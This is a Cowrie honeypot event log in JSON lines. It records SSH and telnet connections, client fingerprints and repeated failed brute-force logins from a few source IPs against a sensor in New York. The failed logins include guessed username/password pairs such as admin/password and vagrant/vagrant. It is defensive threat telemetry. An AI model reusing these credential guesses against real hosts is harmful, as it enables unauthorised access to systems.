{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:38.653749Z","src_ip":"176.65.132.129","session":"b2b7ffa3b4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:38.737180Z","src_ip":"176.65.132.129","session":"b2b7ffa3b4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:38.987514Z","src_ip":"176.65.132.129","session":"b2b7ffa3b4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:40.073400Z","src_ip":"176.65.132.129","session":"b2b7ffa3b4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38884,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cbed430dadf","protocol":"ssh","message":"New connection: 176.65.132.129:38884 (159.203.135.109:22) [session: 8cbed430dadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:42.125748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:42.130363Z","src_ip":"176.65.132.129","session":"8cbed430dadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:42.212027Z","src_ip":"176.65.132.129","session":"8cbed430dadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:42.459415Z","src_ip":"176.65.132.129","session":"8cbed430dadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:43.545130Z","src_ip":"176.65.132.129","session":"8cbed430dadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.06128549575806,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:44.074081Z","src_ip":"45.58.127.90","session":"1088029ef0dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38892,"dst_ip":"159.203.135.109","dst_port":22,"session":"683ed40ec590","protocol":"ssh","message":"New connection: 176.65.132.129:38892 (159.203.135.109:22) [session: 683ed40ec590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:45.474611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:45.479756Z","src_ip":"176.65.132.129","session":"683ed40ec590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:45.574587Z","src_ip":"176.65.132.129","session":"683ed40ec590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:45.822495Z","src_ip":"176.65.132.129","session":"683ed40ec590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45472,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6e37f1bcc85","protocol":"telnet","message":"New connection: 45.58.127.90:45472 (10.17.0.5:23) [session: c6e37f1bcc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:46.186839Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45462,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf6a3a7b6c3","protocol":"telnet","message":"New connection: 45.58.127.90:45462 (10.17.0.5:23) [session: dbf6a3a7b6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:46.293785Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:46.907649Z","src_ip":"176.65.132.129","session":"683ed40ec590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"f73ae39900c9","protocol":"ssh","message":"New connection: 176.65.132.129:55468 (159.203.135.109:22) [session: f73ae39900c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:48.805643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:48.978107Z","src_ip":"176.65.132.129","session":"f73ae39900c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:48.982236Z","src_ip":"176.65.132.129","session":"f73ae39900c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:49.358280Z","src_ip":"176.65.132.129","session":"f73ae39900c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9857592582702637,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:50.279412Z","src_ip":"45.58.127.90","session":"dbf6a3a7b6c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:50.442801Z","src_ip":"176.65.132.129","session":"f73ae39900c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35879,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8a371599793","protocol":"ssh","message":"New connection: 2.57.121.112:35879 (159.203.135.109:22) [session: a8a371599793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.139400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.144478Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.241351Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55470,"dst_ip":"159.203.135.109","dst_port":22,"session":"805ce56b4375","protocol":"ssh","message":"New connection: 176.65.132.129:55470 (159.203.135.109:22) [session: 805ce56b4375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.391833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.397452Z","src_ip":"176.65.132.129","session":"805ce56b4375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.480714Z","src_ip":"176.65.132.129","session":"805ce56b4375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rjpzdrf","message":"login attempt [admin/rjpzdrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.705693Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:52.737829Z","src_ip":"176.65.132.129","session":"805ce56b4375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ripoff","message":"login attempt [admin/ripoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:53.806044Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:53.825982Z","src_ip":"176.65.132.129","session":"805ce56b4375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ringring","message":"login attempt [admin/ringring] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:54.906993Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60190,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5849f9e944","protocol":"telnet","message":"New connection: 45.58.127.90:60190 (10.17.0.5:23) [session: ad5849f9e944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:55.541364Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45208,"dst_ip":"159.203.135.109","dst_port":22,"session":"f95e5374c6ca","protocol":"ssh","message":"New connection: 176.65.132.129:45208 (159.203.135.109:22) [session: f95e5374c6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:55.690992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:55.695909Z","src_ip":"176.65.132.129","session":"f95e5374c6ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:55.780068Z","src_ip":"176.65.132.129","session":"f95e5374c6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rincewind","message":"login attempt [admin/rincewind] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:56.009180Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:56.339113Z","src_ip":"176.65.132.129","session":"f95e5374c6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"right1","message":"login attempt [admin/right1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:57.109939Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:57.426420Z","src_ip":"176.65.132.129","session":"f95e5374c6ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:58.210329Z","src_ip":"2.57.121.112","session":"a8a371599793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45216,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6fd676fb67","protocol":"ssh","message":"New connection: 176.65.132.129:45216 (159.203.135.109:22) [session: 2c6fd676fb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:59.200185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:59.224108Z","src_ip":"176.65.132.129","session":"2c6fd676fb67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:03:59.319777Z","src_ip":"176.65.132.129","session":"2c6fd676fb67","protocol":"ssh"}
